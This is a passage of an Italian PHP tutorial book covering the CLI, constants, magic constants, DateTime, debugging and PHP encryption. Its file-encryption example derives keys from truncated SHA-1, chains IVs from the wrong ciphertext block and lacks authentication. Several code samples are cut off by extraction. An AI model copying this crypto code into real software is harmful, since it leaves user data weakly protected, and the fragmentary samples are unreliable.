essere abilitato esplicitamente, altrimenti l'output verrà sempre visualizzato in tempo reale.
• Nessun limite di tempo La direttiva php.ini max_execution_time è impostata su zero, quindi
gli script non max_execution_time per impostazione predefinita.
• Nessun errore HTML Nel caso in cui sia stata abilitata la direttiva php.ini html_errors , essa
verrà ignorata sulla riga di comando.
• È possibile caricare diversi php.ini . Quando usi php da cli, puoi utilizzare php.ini diversi
dal server web. Puoi sapere quale file sta usando eseguendo php --ini .
Dalla versione 5.4, PHP è dotato di server integrato. Può essere utilizzato per eseguire
l'applicazione senza necessità di installare altri server http come nginx o apache. Il server
integrato è progettato solo in ambiente controller per scopi di sviluppo e test.
<?php
echo "Hello World from built-in PHP server";
Ora dovresti essere in grado di vedere il contenuto nel browser. Per verificare ciò, accedere a
http://localhost:8080
Ogni accesso dovrebbe risultare nella voce di registro scritta sul terminale
Questo esempio mostra il comportamento di getopt quando l'input dell'utente non è comune:
https://riptutorial.com/it/home 104
getopt.php
var_dump(
getopt("ab:c::", ["delta", "epsilon:", "zeta::"])
);
$ php getopt.php -a -a -bbeta -b beta -cgamma --delta --epsilon --zeta --zeta=f -c gamma
array(6) {
["a"]=>
array(2) {
[0]=>
bool(false)
[1]=>
bool(false)
}
["b"]=>
array(2) {
[0]=>
string(4) "beta"
[1]=>
string(4) "beta"
}
["c"]=>
array(2) {
[0]=>
string(5) "gamma"
[1]=>
bool(false)
}
["delta"]=>
bool(false)
["epsilon"]=>
string(6) "--zeta"
["zeta"]=>
string(1) "f"
}
• Le opzioni individuali (senza due punti) portano sempre un valore booleano di false se
abilitato.
• Se viene ripetuta un'opzione, il rispettivo valore nell'output di getopt diventerà un array.
• Le opzioni di argomento richieste (due punti) accettano uno spazio o nessuno spazio (come
le opzioni di argomento facoltativo) come separatore
• Dopo un argomento che non può essere mappato in nessuna opzione, anche le opzioni
dietro non verranno mappate.
https://riptutorial.com/it/home 105
Capitolo 18: Commenti
Osservazioni
Tieni a mente i seguenti suggerimenti quando decidi come commentare il tuo codice:
• Dovresti sempre scrivere il tuo codice come se i commenti non esistessero, usando nomi di
variabili e funzioni ben scelti.
• I commenti servono a comunicare agli altri esseri umani, non a ripetere ciò che è scritto nel
codice.
• Esistono varie guide di stile di commenti ai php (es. Pera , zend , ecc.). Scopri quale utilizza
la tua azienda e usala in modo coerente!
Examples
Commenti a riga singola
Il commento a riga singola inizia con "//" o "#". Quando viene rilevato, tutto il testo a destra verrà
ignorato dall'interprete di PHP.
// This is a comment
echo "Hello World!"; // This is also a comment, beginning where we see "//"
Il commento su più righe può essere utilizzato per commentare grandi blocchi di codice. Inizia con
/* e termina con */ .
https://riptutorial.com/it/home 106
Capitolo 19: Compilare le estensioni PHP
Examples
Compilare su Linux
Per compilare un'estensione PHP in un tipico ambiente Linux, ci sono alcuni prerequisiti:
Generalmente ci sono due modi per compilare un'estensione PHP. Puoi compilare staticamente
l'estensione nel binario PHP o compilarlo come un modulo condiviso caricato dal tuo binario PHP
all'avvio. I moduli condivisi sono più probabili dal momento che ti permettono di aggiungere o
rimuovere estensioni senza ricostruire l'intero binario PHP. Questo esempio si concentra
sull'opzione condivisa.
Se hai installato PHP tramite il tuo gestore di pacchetti ( apt-get install , yum install , ecc.) -dev
installare il pacchetto -dev per PHP, che includerà i file header PHP necessari e lo script phpize
per far funzionare l'ambiente di compilazione . Il pacchetto potrebbe essere chiamato qualcosa
come php5-dev o php7-dev , ma assicuratevi di usare il vostro gestore di pacchetti per cercare il
nome appropriato usando i repository della vostra distro. Possono differire.
Se hai creato PHP dal sorgente, i file header probabilmente esistono già sul tuo sistema (di solito
in /usr/include o /usr/local/include ).
Passi da compilare
Dopo aver controllato di avere tutti i prerequisiti necessari per la compilazione, puoi andare su
pecl.php.net , selezionare un'estensione che desideri compilare e scaricare la tar ball.
In genere, il passaggio di make install fornisce in genere il percorso di installazione in cui è stata
copiata l'estensione. Questo di solito è in /usr/lib/ , ad esempio potrebbe essere qualcosa di
simile a /usr/lib/php5/20131226/yaml.so . Ma questo dipende dalla configurazione di PHP (ie --
with-prefix ) e dalla specifica versione dell'API. Il numero dell'API è incluso nel percorso per
mantenere le estensioni create per diverse versioni dell'API in posizioni separate.
https://riptutorial.com/it/home 107
Caricamento dell'estensione in PHP
Per caricare l'estensione in PHP, trovare il file php.ini caricato per il SAPI appropriato e
aggiungere l' extension=yaml.so riga extension=yaml.so quindi riavviare PHP. Cambia yaml.so al
nome dell'effettiva estensione che hai installato, ovviamente.
Per un'estensione Zend è necessario fornire il percorso completo del file oggetto condiviso.
Tuttavia, per le normali estensioni PHP questo percorso deriva dalla direttiva extension_dir nella
configurazione caricata o dall'ambiente $PATH durante l'installazione iniziale.
https://riptutorial.com/it/home 108
Capitolo 20: Compilazione di errori e
avvertenze
Examples
Avviso: indice indefinito
Aspetto :
Cercando di accedere a un array con una chiave che non esiste nell'array
Possibile soluzione :
1. isset()
2. array_key_exists()
Aspetto :
Cause possibili :
1. Stampa, echo: l' output delle istruzioni print e echo termina l'opportunità di inviare
intestazioni HTTP. Il flusso dell'applicazione deve essere ristrutturato per evitarlo.
2. Aree HTML non elaborate : le sezioni HTML unparsed in un file .php sono anch'esse in
uscita diretta. Le condizioni di script che attivano una chiamata a header() devono essere
annotate prima di qualsiasi blocco non elaborato.
<!DOCTYPE html>
<?php
// Too late for headers already.
3. Whitespace prima di <?php for "script.php line 1" warnings: se l'avvertimento si riferisce
all'output nella riga 1, allora è principalmente spazio bianco, testo o HTML prima del token
<?php apertura.
<?php
# There's a SINGLE space/newline before <? - Which already seals it.
https://riptutorial.com/it/home 109
Riferimento da SO risposta di Mario
Aspetto:
"Paamayim Nekudotayim" significa "doppio colon" in ebraico; quindi questo errore si riferisce
all'uso inappropriato dell'operatore doppio colon ( :: :). L'errore è in genere causato dal tentativo
di richiamare un metodo statico che, in effetti, non è statico.
Possibile soluzione:
$classname::doMethod();
Se il codice precedente causa questo errore, è molto probabile che tu debba semplicemente
cambiare il modo in cui chiami il metodo:
$classname->doMethod();
L'ultimo esempio assume che $classname sia un'istanza di una classe, e doMethod() non è un
metodo statico di quella classe.
https://riptutorial.com/it/home 110
Capitolo 21: Contribuire al core PHP
Osservazioni
PHP è un progetto open source, e come tale, chiunque è in grado di contribuire ad esso. A grandi
linee, ci sono due modi per contribuire al core PHP:
• Bug fixing
• Aggiunte di funzionalità
Prima di contribuire, tuttavia, è importante capire come vengono gestite e rilasciate le versioni di
PHP in modo che le correzioni dei bug e le richieste di funzionalità possano essere indirizzate alla
versione corretta di PHP. Le modifiche sviluppate possono essere inviate come richiesta pull al
repository Github di PHP . Informazioni utili per gli sviluppatori sono disponibili nella sezione
"Partecipa" del sito PHP.net e nel forum #externals .
Per quanto riguarda il processo di gestione delle versioni, le correzioni dei bug dovrebbero essere
rivolte ai meno colpiti, pur continuando a supportare la versione di PHP. È questa versione che le
richieste di pull di bug fixing dovrebbero essere indirizzate. Da lì, un membro interno può unire la
correzione nel ramo corretto e quindi unirlo a versioni successive di PHP, se necessario.
Per coloro che desiderano iniziare a risolvere i bug, è possibile trovare un elenco di segnalazioni
di errori su bugs.php.net .
Prima che le RFC possano essere votate, devono essere sottoposte a un periodo di discussione
di almeno 2 settimane sulla mailing list ufficiale di PHP. Una volta che questo periodo è terminato
e non ci sono problemi aperti con la RFC, può essere spostato in votazione, che deve durare
almeno 1 settimana.
Se un utente desidera ripristinare una RFC precedentemente rifiutata, può farlo solo in una delle
seguenti due circostanze:
https://riptutorial.com/it/home 111
• 6 mesi sono passati dal voto precedente
• Gli autori apportano modifiche sostanziali alla RFC che potrebbero influire sul risultato del
voto nel caso in cui la RFC venga nuovamente votata.
Le persone che hanno il privilegio di votare contribuiranno allo stesso PHP (e così avranno
account php.net), o saranno rappresentanti della comunità PHP. Questi rappresentanti sono scelti
da coloro che hanno account php.net e saranno sia sviluppatori principali di progetti basati su PHP
che partecipanti regolari a discussioni interne.
Quando si inviano nuove idee per la proposta, è quasi sempre necessario che il proponente scriva
almeno una patch proof-of-concept. Questo perché senza un'implementazione, il suggerimento
diventa semplicemente un'altra richiesta di funzionalità che difficilmente si realizzerà nel prossimo
futuro.
Un approfondito how-to di questo processo può essere trovato nella pagina ufficiale Come creare
una RFC .
Uscite
Le versioni principali di PHP non hanno un ciclo di rilascio impostato, e quindi possono essere
rilasciate a discrezione del team interno (ogni volta che ritengono opportuno una nuova versione
principale). Le versioni minori, d'altra parte, vengono rilasciate ogni anno.
Prima di ogni versione in PHP (maggiore, minore o patch), sono disponibili una serie di release
candidate (RCs). PHP non usa un RC come fanno altri progetti (cioè se un RC non ha riscontrato
problemi con esso, quindi rendilo come la prossima versione finale). Invece, li usa come una
forma di beta finale, dove in genere viene deciso un determinato numero di RC prima che venga
rilasciata la versione finale.
versioning
PHP in genere tenta di seguire il versioning semantico dove possibile. Pertanto, la
retrocompatibilità (BC) dovrebbe essere mantenuta in versioni minori e patch della lingua. Le
caratteristiche e le modifiche che preservano BC dovrebbero essere indirizzate a versioni minori
(non versioni di patch). Se una funzionalità o un cambiamento ha il potenziale per interrompere
BC, allora dovrebbero mirare a indirizzare la successiva versione principale di PHP ( X .yz).
Ogni versione minore di PHP (x. Y .z) ha due anni di supporto generale (il cosiddetto "supporto
attivo") per tutti i tipi di correzioni di bug. Un altro anno in più viene aggiunto per il supporto di
sicurezza, dove vengono applicate solo correzioni relative alla sicurezza. Dopo che i tre anni sono
scaduti, il supporto per quella versione di PHP è completamente abbandonato. Un elenco delle
versioni PHP attualmente supportate può essere trovato su php.net .
Examples
Impostazione di un ambiente di sviluppo di base
https://riptutorial.com/it/home 112
Il codice sorgente di PHP è ospitato su GitHub . Per costruire dal codice sorgente dovrai prima
controllare una copia funzionante del codice.
mkdir /usr/local/src/php-7.0/
cd /usr/local/src/php-7.0/
git clone -b PHP-7.0 https://github.com/php/php-src .
./buildconf
./configure
make
make test
make install
https://riptutorial.com/it/home 113
Capitolo 22: Contribuire al manuale PHP
introduzione
Il manuale PHP fornisce sia un riferimento funzionale che un riferimento al linguaggio insieme alle
spiegazioni delle principali funzionalità di PHP. Il manuale PHP, a differenza della
documentazione della maggior parte delle lingue, incoraggia gli sviluppatori PHP ad aggiungere i
propri esempi e note a ciascuna pagina della documentazione. Questo argomento spiega il
contributo al manuale PHP, insieme a suggerimenti, trucchi e linee guida per le migliori pratiche.
Osservazioni
I contributi a questo argomento dovrebbero principalmente delineare il processo intorno al
contributo al Manuale PHP, ad esempio spiegare come aggiungere pagine, come inviarle per la
revisione, trovare aree per contribuire ai contenuti, e così via.
Examples
Migliora la documentazione ufficiale
Il PHP Documentation Team fornisce un editor online per il manuale PHP su https://edit.php.net .
Supporta più servizi Single-Sign-On, incluso l'accesso con l'account Stack Overflow. Puoi trovare
un'introduzione all'editor su https://wiki.php.net/doc/editor .
Il manuale PHP è scritto in DocBook, che è un linguaggio di marcatura facile da imparare per la
creazione di libri. Potrebbe sembrare un po 'complicato a prima vista, ma ci sono modelli per
iniziare. Sicuramente non è necessario essere un esperto di DocBook per contribuire.
Di seguito è riportato un elenco di suggerimenti per coloro che desiderano contribuire al manuale
PHP:
https://riptutorial.com/it/home 114
• Segui le linee guida sullo stile del manuale . Assicurati che le linee guida di stile del
manuale vengano sempre seguite per motivi di coerenza.
• Eseguire controlli ortografici e grammaticali . Assicurati che l'ortografia e la grammatica
siano corrette, altrimenti le informazioni presentate potrebbero essere più difficili da
assimilare e il contenuto sembrerà meno professionale.
• Sii conciso nelle spiegazioni . Evita vaganti per presentare in modo chiaro e conciso le
informazioni agli sviluppatori che stanno cercando di farne rapidamente riferimento.
• Codice separato dal suo output Ciò fornisce agli esempi di codice più chiari e meno
complicati da digerire per gli sviluppatori.
• Controlla l'ordine della sezione della pagina . Assicurarsi che tutte le sezioni della pagina
man in corso di modifica siano nell'ordine corretto. L'uniformità nel manuale facilita la lettura
e la ricerca rapida delle informazioni.
• Rimuovi il contenuto relativo a PHP 4 . Le menzioni specifiche su PHP 4 non sono più
rilevanti considerando quanti anni hanno. Le menzioni di esso dovrebbero essere rimosse
dal manuale per impedirne la convalida con informazioni non necessarie.
• Correttamente i file di versione . Quando crei nuovi file nella documentazione, assicurati
che l'ID revisione del file non sia impostato su nulla, in questo modo: <!-- $Revision$ --> .
• Unisci commenti utili nel manuale . Alcuni commenti contribuiscono con informazioni utili
che il manuale potrebbe trarre vantaggio dall'avere. Questi dovrebbero essere uniti nel
contenuto della pagina principale.
• Non rompere la compilazione della documentazione . Assicurati sempre che il manuale
PHP sia compilato correttamente prima di confermare le modifiche.
https://riptutorial.com/it/home 115
Capitolo 23: Convenzioni di codifica
Examples
Tag PHP
Dovresti sempre usare i <?php ?> O i tag short-echo <?= ?> . Altre varianti (in particolare, tag brevi
<? ?> ) Non dovrebbero essere utilizzate in quanto sono comunemente disabilitate dagli
amministratori di sistema.
Quando non è previsto che un file produca output (l'intero file è codice PHP) la sintassi di chiusura
?> Dovrebbe essere omessa per evitare output non intenzionali, che può causare problemi quando
un client analizza il documento, in particolare alcuni browser non riconoscono il <!DOCTYPE Tag
<!DOCTYPE e attiva la modalità Parenti .
<?php
<?php
class Foo
{
...
}
<ul id="nav">
<?php foreach ($navItems as $navItem): ?>
<li><a href="<?= htmlspecialchars($navItem->url) ?>">
<?= htmlspecialchars($navItem->label) ?>
</a></li>
<?php endforeach; ?>
</ul>
https://riptutorial.com/it/home 116
Capitolo 24: costanti
Sintassi
• define (stringa $ nome, misto $ valore [, bool $ case_insensitive = false])
• const CONSTANT_NAME = VALUE;
Osservazioni
Le costanti vengono utilizzate per memorizzare i valori che non dovrebbero essere modificati in
seguito. Inoltre sono spesso utilizzati per memorizzare i parametri di configurazione, in particolare
quelli che definiscono l'ambiente (dev / produzione).
Le costanti hanno tipi come variabili ma non tutti i tipi possono essere utilizzati per inizializzare
una costante. Oggetti e risorse non possono essere utilizzati come valori per le costanti. Le matrici
possono essere utilizzate come costanti a partire da PHP 5.6
Alcuni nomi costanti sono riservati da PHP. Questi includono true , false , null e molte costanti
specifiche del modulo.
Examples
Verifica se la costante è definita
Controllo semplice
Per verificare se la costante è definita, utilizzare la funzione defined . Si noti che questa funzione
non interessa il valore della costante, si preoccupa solo se la costante esiste o meno. Anche se il
valore della costante è null o false la funzione restituirà comunque true .
<?php
define("GOOD", false);
if (defined("GOOD")) {
print "GOOD is defined" ; // prints "GOOD is defined"
if (GOOD) {
print "GOOD is true" ; // does not print anything, since GOOD is false
}
}
if (!defined("AWESOME")) {
define("AWESOME", true); // awesome was not defined. Now we have defined it
}
https://riptutorial.com/it/home 117
Nota che la costante diventa "visibile" nel tuo codice solo dopo la linea in cui l'hai definita:
<?php
if (defined("GOOD")) {
print "GOOD is defined"; // doesn't print anyhting, GOOD is not defined yet.
}
define("GOOD", false);
if (defined("GOOD")) {
print "GOOD is defined"; // prints "GOOD is defined"
}
<?php
$constants = get_defined_constants();
var_dump($constants); // pretty large list
Per ottenere solo le costanti definite dalla tua app, chiama la funzione all'inizio e alla fine dello
script (normalmente dopo il processo di bootstrap):
<?php
$constants = get_defined_constants();
define("HELLO", "hello");
define("WORLD", "world");
$new_constants = get_defined_constants();
/*
Output:
array (
'HELLO' => 'hello',
'WORLD' => 'world',
)
*/
Definire costanti
https://riptutorial.com/it/home 118
utilizzare lettere MAIUSCOLE per nomi costanti.
const TAU = PI * 2;
define("EARTH_IS_ROUND", !EARTH_IS_FLAT);
define("MORE_UNKNOWN", UNKNOWN);
define("APP_ENV_UPPERCASE", strtoupper(APP_ENV)); // string manipulation is ok too
// the above example (a function call) does not work with const:
// const TIME = time(); # fails with a fatal error! Not a constant scalar expression
define("MAX_SESSION_TIME_IN_MINUTES", MAX_SESSION_TIME / 60);
Costanti riservate
Alcuni nomi costanti sono riservati da PHP e non possono essere ridefiniti. Tutti questi esempi
falliranno:
Condizionale definisce
https://riptutorial.com/it/home 119
Se si dispone di diversi file in cui è possibile definire la stessa variabile (ad esempio, la
configurazione principale quindi la configurazione locale), la seguente sintassi può aiutare a
evitare conflitti:
const vs define
Quindi define consente valori dinamici (es. Chiamate di funzione, variabili ecc.) E persino nomi
dinamici e definizioni condizionali. Tuttavia, sta sempre definendo relativo al namespace di root.
const è statico (come in consente solo operazioni con altre costanti, scalari o matrici, e solo un
insieme limitato di esse, le cosiddette espressioni scalari costanti , cioè aritmetiche, logiche e
operatori di confronto, nonché il dereferenziazione dell'array), ma sono automaticamente spazio
dei nomi preceduto dallo spazio dei nomi attualmente attivo.
const supporta solo altre costanti e scalari come valori e nessuna operazione.
Costanti di classe
Le costanti possono essere definite all'interno delle classi usando una parola chiave const .
class Foo {
const BAR_TYPE = "bar";
<?php
class Logger {
const LEVEL_INFO = 1;
const LEVEL_WARNING = 2;
const LEVEL_ERROR = 3;
https://riptutorial.com/it/home 120
$logger = new Logger();
$logger->log("Info"); // Using default value
$logger->log("Warning", $logger::LEVEL_WARNING); // Using var
$logger->log("Error", Logger::LEVEL_ERROR); // using class
Array costanti
Le matrici possono essere utilizzate come semplici costanti e costanti di classe dalla versione
PHP 5.6 in poi:
class Answer {
const C = [2,4];
}
Anche dalla versione PHP 7.0 questa funzionalità è stata portata alla funzione define per le
costanti semplici.
print MY_ARRAY[1][1]; // 3
Usando le costanti
if (EARTH_IS_FLAT) {
print "Earth is flat";
}
print APP_ENV_UPPERCASE;
https://riptutorial.com/it/home 121
if (constant($const1)) {
print "Earth is flat";
}
print constant($const2);
https://riptutorial.com/it/home 122
Capitolo 25: Costanti magiche
Osservazioni
Le costanti magiche si distinguono per il loro modulo __CONSTANTNAME__ .
Ci sono attualmente otto costanti magiche che cambiano a seconda di dove sono usate. Ad
esempio, il valore di __LINE__ dipende dalla riga in cui è utilizzato nel tuo script.
Nome Descrizione
Risolto il percorso completo e il nome file del file con collegamenti simbolici.
__FILE__
Se utilizzato all'interno di un include, viene restituito il nome del file incluso.
Il nome della classe. Il nome della classe include lo spazio dei nomi in cui è
__CLASS__ stato dichiarato (ad es. Foo\Bar ). Quando usato in un metodo tratto, __CLASS__
è il nome della classe in cui è usato il tratto.
Il nome del tratto. Il nome del tratto include lo spazio dei nomi in cui è stato
__TRAIT__
dichiarato (ad es. Foo\Bar ).
Examples
Differenza tra __FUNCTION__ e __METHOD__
__FUNCTION__ restituisce solo il nome della funzione mentre __METHOD__ restituisce il nome della
classe insieme al nome della funzione:
<?php
https://riptutorial.com/it/home 123
class trick
{
public function doit()
{
echo __FUNCTION__;
}
<?php
class Definition_Class {
$c = new Actual_Class();
$c->say();
// Output:
// __CLASS__ value: Definition_Class
// get_called_class() value: Actual_Class
// get_class($this) value: Actual_Class
// get_class() value: Definition_Class
File corrente
https://riptutorial.com/it/home 124
Puoi ottenere il nome del file PHP corrente (con il percorso assoluto) usando la costante magica
__FILE__ . Questo è più spesso usato come tecnica di logging / debugging.
Directory corrente
Per ottenere il percorso assoluto della directory in cui si trova il file corrente, utilizzare la costante
magica __DIR__ .
Per ottenere il percorso assoluto della directory in cui si trova il file corrente, utilizzare
dirname(__FILE__) .
Ottenere la directory corrente viene spesso utilizzata dai framework PHP per impostare una
directory di base:
$view = 'page';
$viewFile = BASEDIR . '/views/' . $view;
separatori
Il sistema Windows comprende perfettamente i percorsi / in quindi DIRECTORY_SEPARATOR
viene utilizzato principalmente durante l'analisi dei percorsi.
Oltre alle costanti magiche, PHP aggiunge alcune costanti fisse per lavorare con i percorsi:
$view = 'page';
$viewFile = BASEDIR . DIRECTORY_SEPARATOR .'views' . DIRECTORY_SEPARATOR . $view;
https://riptutorial.com/it/home 125
Leggi Costanti magiche online: https://riptutorial.com/it/php/topic/1428/costanti-magiche
https://riptutorial.com/it/home 126
Capitolo 26: Crea file PDF in PHP
Examples
Introduzione a PDFlib
Questo codice richiede l'utilizzo della libreria PDFlib affinché funzioni correttamente.
<?php
$pdf = pdf_new(); //initialize new object
$length = strlen($document); $filename = "HelloWorld.pdf"; //Finds PDF length and assigns file
name
header("Content-Type:application/pdf");
header("Content-Length:" . $length);
header("Content-Disposition:inline; filename=" . $filename);
https://riptutorial.com/it/home 127
Capitolo 27: Crittografia
Osservazioni
/* Base64 Encoded Encryption / $enc_data = base64_encode( openssl_encrypt($data, $method,
$password, true, $iv) ); / Decode and Decrypt */ $dec_data = base64_decode(
openssl_decrypt($enc_data, $method, $password, true, $iv) );
Questo modo di fare la crittografia e la codifica non funzionerebbe come presentato mentre decifri
il codice prima di decodificare la base 64.
Examples
Cipher simmetrico
Questo esempio illustra il cifrario simmetrico AES 256 in modalità CBC. È necessario un vettore di
inizializzazione, quindi ne creiamo uno utilizzando una funzione di openssl. La variabile $strong
viene utilizzata per determinare se l'IV generato è stato crittograficamente forte.
crittografia
$method = "aes-256-cbc"; // cipher method
$iv_length = openssl_cipher_iv_length($method); // obtain required IV length
$strong = false; // set to false for next line
$iv = openssl_random_pseudo_bytes($iv_length, $strong); // generate initialization vector
decrittazione
https://riptutorial.com/it/home 128
/* Retrieve the IV from the database and the password from a POST request */
$dec_data = openssl_decrypt($enc_data, $method, $pass, true, $iv); // Decrypt
PHP non ha una funzione incorporata per crittografare e decrittografare file di grandi dimensioni.
openssl_encrypt può essere utilizzato per crittografare le stringhe, ma caricare un enorme file in
memoria è una cattiva idea.
Quindi dobbiamo scrivere una funzione userland per farlo. Questo esempio utilizza l'algoritmo
simmetrico AES-128-CBC per crittografare blocchi più piccoli di un file di grandi dimensioni e
scriverli in un altro file.
Cripta i file
/**
* Define the number of blocks that should be read from the source file for each chunk.
* For 'AES-128-CBC' each block consist of 16 bytes.
* So if we read 10,000 blocks we load 160kb into memory. You may adjust this value
* to read/write shorter or longer chunks.
*/
define('FILE_ENCRYPTION_BLOCKS', 10000);
/**
* Encrypt the passed file and saves the result in a new file with ".enc" as suffix.
*
* @param string $source Path to file that should be encrypted
* @param string $key The key used for the encryption
* @param string $dest File name where the encryped file should be written to.
* @return string|false Returns the file name that has been created or FALSE if an error
occured
*/
function encryptFile($source, $key, $dest)
{
$key = substr(sha1($key, true), 0, 16);
$iv = openssl_random_pseudo_bytes(16);
$error = false;
if ($fpOut = fopen($dest, 'w')) {
https://riptutorial.com/it/home 129
// Put the initialzation vector to the beginning of the file
fwrite($fpOut, $iv);
if ($fpIn = fopen($source, 'rb')) {
while (!feof($fpIn)) {
$plaintext = fread($fpIn, 16 * FILE_ENCRYPTION_BLOCKS);
$ciphertext = openssl_encrypt($plaintext, 'AES-128-CBC', $key,
OPENSSL_RAW_DATA, $iv);
// Use the first 16 bytes of the ciphertext as the next initialization vector
$iv = substr($ciphertext, 0, 16);
fwrite($fpOut, $ciphertext);
}
fclose($fpIn);
} else {
$error = true;
}
fclose($fpOut);
} else {
$error = true;
}
Decrypt Files
Per decrittografare i file che sono stati crittografati con la funzione sopra puoi usare questa
funzione.
/**
* Dencrypt the passed file and saves the result in a new file, removing the
* last 4 characters from file name.
*
* @param string $source Path to file that should be decrypted
* @param string $key The key used for the decryption (must be the same as for encryption)
* @param string $dest File name where the decryped file should be written to.
* @return string|false Returns the file name that has been created or FALSE if an error
occured
*/
function decryptFile($source, $key, $dest)
{
$key = substr(sha1($key, true), 0, 16);
$error = false;
if ($fpOut = fopen($dest, 'w')) {
if ($fpIn = fopen($source, 'rb')) {
// Get the initialzation vector from the beginning of the file
$iv = fread($fpIn, 16);
while (!feof($fpIn)) {
$ciphertext = fread($fpIn, 16 * (FILE_ENCRYPTION_BLOCKS + 1)); // we have to
read one block more for decrypting than for encrypting
$plaintext = openssl_decrypt($ciphertext, 'AES-128-CBC', $key,
OPENSSL_RAW_DATA, $iv);
// Use the first 16 bytes of the ciphertext as the next initialization vector
$iv = substr($ciphertext, 0, 16);
fwrite($fpOut, $plaintext);
}
fclose($fpIn);
} else {
https://riptutorial.com/it/home 130
$error = true;
}
fclose($fpOut);
} else {
$error = true;
}
Come usare
Se hai bisogno di un piccolo frammento per vedere come funziona o per testare le funzioni di cui
sopra, guarda il seguente codice.
$fileName = __DIR__.'/testfile.txt';
$key = 'my secret key';
file_put_contents($fileName, 'Hello World, here I am.');
encryptFile($fileName, $key, $fileName . '.enc');
decryptFile($fileName . '.enc', $key, $fileName . '.dec');
https://riptutorial.com/it/home 131
Capitolo 28: Datetime Class
Examples
getTimestamp
questo mostrerà un numero intero che indica i secondi trascorsi dalle 00:00:00 UTC, giovedì 1
gennaio 1970.
impostare la data
questo esempio imposta la data del venticinque luglio 2015, produrrà il seguente risultato:
2016-07-25 17:52:15.819442
$now->sub($interval);
https://riptutorial.com/it/home 132
echo "Samara says: Seven Days. You were happy last on $formatedLastDay.";
$format = "Y,m,d";
$time = "2009,2,26";
$date = DateTime::createFromFormat($format, $time);
Stile procedurale
$format = "Y,m,d";
$time = "2009,2,26";
$date = date_create_from_format($format, $time);
Stampa DataTimes
PHP 4+ fornisce un metodo, formato che converte un oggetto DateTime in una stringa con un
formato desiderato. Secondo PHP Manual, questa è la funzione orientata agli oggetti:
Formato
Il formato è una stringa e utilizza caratteri singoli per definire il formato:
https://riptutorial.com/it/home 133
• s : secondo, con zeri iniziali (da 00 a 59)
• L'elenco completo può essere trovato qui
uso
Questi caratteri possono essere utilizzati in varie combinazioni per visualizzare i tempi in qualsiasi
formato. Ecco alcuni esempi:
$date->format("H:i");
/* Returns 13:30 */
$date->format("H i s");
/* Returns 13 30 20 */
$date->format("h:i:s A");
/* Returns 01:30:20 PM */
$date->format("j/m/Y");
/* Returns 26/05/2000 */
Procedurale
Il formato procedurale è simile:
$date->format($format)
Equivalente procedurale
date_format($date, $format)
\DateTimeImmutable::createFromMutable($concrete);
\DateTimeImmutable::createFromFormat(\DateTime::ISO8601, $mutable->format(\DateTime::ISO8601),
$mutable->getTimezone());
https://riptutorial.com/it/home 134
Leggi Datetime Class online: https://riptutorial.com/it/php/topic/3684/datetime-class
https://riptutorial.com/it/home 135
Capitolo 29: Debug
Examples
Dumping di variabili
La funzione var_dump consente di scaricare il contenuto di una variabile (tipo e valore) per il debug.
Esempio:
$array = [3.7, "string", 10, ["hello" => "world"], false, new DateTime()];
var_dump($array);
Produzione:
array(6) {
[0]=>
float(3.7)
[1]=>
string(6) "string"
[2]=>
int(10)
[3]=>
array(1) {
["hello"]=>
string(5) "world"
}
[4]=>
bool(false)
[5]=>
object(DateTime)#1 (3) {
["date"]=>
string(26) "2016-07-24 13:51:07.000000"
["timezone_type"]=>
int(3)
["timezone"]=>
string(13) "Europe/Berlin"
}
}
Se vuoi che PHP visualizzi gli errori di runtime sulla pagina, devi abilitare display_errors , nel
php.ini o usando la funzione ini_set .
È possibile scegliere quali errori visualizzare, con la funzione error_reporting (o ini), che accetta le
costanti E_* , combinate usando operatori bit a bit .
PHP può visualizzare errori nel formato testo o HTML, a seconda dell'impostazione html_errors .
Esempio:
https://riptutorial.com/it/home 136
ini_set("display_errors", true);
ini_set("html_errors", false); // Display errors in plain text
error_reporting(E_ALL & ~E_USER_NOTICE); // Display everything except E_USER_NOTICE
Il modo più comune per gestire error_reporting è abilitarla completamente con E_ALL costante
durante lo sviluppo e disabilitare la visualizzazione pubblica con display_errors in fase di
produzione per nascondere gli interni degli script.
phpinfo ()
avvertimento
È imperativo che phpinfo venga utilizzato solo in un ambiente di sviluppo. Non rilascia mai
codice contenente phpinfo in un ambiente di produzione
introduzione
Detto questo, può essere uno strumento utile per comprendere l'ambiente PHP (sistema
operativo, configurazione, versioni, percorsi, moduli) in cui si sta lavorando, soprattutto quando si
insegue un bug. È una semplice funzione integrata:
phpinfo();
È possibile passare le INFO_* parametro INFO_* , combinate con operatori bit a bit per visualizzare
un elenco personalizzato.
https://riptutorial.com/it/home 137
Puoi eseguirlo nel browser per un aspetto dettagliato ben formattato. Funziona anche nella CLI di
PHP, dove puoi ridurla in less per una visualizzazione più semplice.
Esempio
phpinfo(INFO_CONFIGURATION | INFO_ENVIRONMENT | INFO_VARIABLES);
Questo mostrerà un elenco di direttive PHP ( ini_get ), ambiente ( $_ENV ) e variabili predefinite .
Xdebug
Come puoi vedere questa estensione è perfetta per l'ambiente di sviluppo. Soprattutto la
funzionalità di debug remoto può aiutarti a eseguire il debug del tuo codice php senza numerosi
var_dump e utilizzare il normale processo di debug come in C++ o Java .
zend_extension="/usr/local/php/modules/xdebug.so"
phpversion ()
introduzione
https://riptutorial.com/it/home 138
Quando si lavora con varie librerie e i relativi requisiti associati, è spesso necessario conoscere la
versione del parser PHP corrente o uno dei suoi pacchetti.
Questa funzione accetta un singolo parametro opzionale sotto forma di nome estensione:
phpversion('extension') . Se l'estensione in questione è installata, la funzione restituirà una stringa
contenente il valore della versione. Tuttavia, se l'estensione non installata FALSE verrà restituita. Se
il nome dell'estensione non viene fornito, la funzione restituirà la versione del parser PHP stesso.
Esempio
